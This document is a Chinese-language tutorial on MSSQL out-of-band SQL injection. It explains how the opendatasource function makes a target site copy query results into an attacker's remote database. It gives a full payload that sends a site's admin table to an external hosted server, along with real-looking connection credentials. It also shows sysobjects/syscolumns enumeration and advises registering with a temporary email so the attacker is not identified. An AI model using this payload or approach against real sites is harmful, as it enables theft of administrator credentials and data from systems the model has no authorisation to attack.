五、注入（4）MSsql注入——反弹注入

MSSQL反弹注入

当明明是注入点却无法进行注入

注入工具猜解速度缓慢

错误提示信息关闭

无法返回注入结果等

这时比较好的方法就是使用反弹注入
 

反弹注入原理

1、原理

目标站点把查询数据的结果插入到黑客的数据库里

条件：

1、网络通畅（需要公网ip）

2、自己的MSSQL数据库

2、opendatasource函数

opendatasource(provider_name,init_string)

provider_name参数 MsSQL数据库常写sqloledb,类似接口名称的意思
init_string参数 写连接地址、端口、用户名、密码、数据库名
server=连接地址,端口
uid=用户名
pwd=密码
database=数据库名称

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkap_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe

把select * from admin 的结果插入目标的temp表

server后是插入地址，地址使用在香港云申请的连接地址和用户名，密码

sqloledb是构成通道的固定值，不更改

server后是数据库地址

uid后是数据库用户名

passwd是密码

database是数据库名称

DB_14A5E44_zkaq.dbo.temp是查询数据库dbo（用户创建）里的temp表

例如：

 

插入数据：字段数相同、类型相同

MSSQL中的数据库自带表在sysobjects里面，存储字段的表在syscolumns里，主要字段是name和id，要记住id的数字

 

 

3、其他注意点

（1）因为MySQL的兼容性，所以可以写select 1,2,3这样的语句，但其他数据库的查询内容都要写完整。

select 字段 from 表

 

（2）mysql在联合查询的时候对字段数有严格规定，但对字段类型的规定比较淡。

猜输出点要用null填充

null =>  不存在数据类型

union all select null,null,null from 表名

MsSQL数据库要求联合查询的时候，字段数，字段类型都要一样。

可以把null替换成数字、字符类型，看是否回显正常。猜字段的时候可以使用这种方式去猜。

（3）MsSQL数据库也有系统自带库

sysdatabases   查数据库名

sysobjects   查表名

syscolumns   查字段名
 

查表名会发现有xtype字段，S为system系统创建的，U为User用户创建的
而且每个表都会有一个对应的name，id
所以找用户创建的表可以select name,id from sysobjects where xtype='U'

sysobjects 查询系统表   （xtype='U'） 用户创建的表

syscolumns 字段  （id=）指定sysobjects库中表名对应id

 

搭建MSSQL环境

可以申请一个免费的虚拟空间，虚拟空间中开启MSSQL然后直接使用，可以免去MSSQL安装环境且不需要特意购置云服务器来获取一个公网IP。

香港云   http://www.webweb.com/

香港云失效用   https://my.gearhost.com/CloudSite

数据库操作     http://mssqlus.webweb.com

临时邮箱      http://24mail.chacuo.net/

 

注册香港云的虚拟空间

这里使用临时邮箱，以免暴露个人信息

创建数据库

 

要记住数据库地址，用户名和数据库名称！！！！

 

点击My SQL控制台创建数据表

 

适用navicat也可以远程管理香港云的数据库，填写正确对待数据库地址和用户名密码即可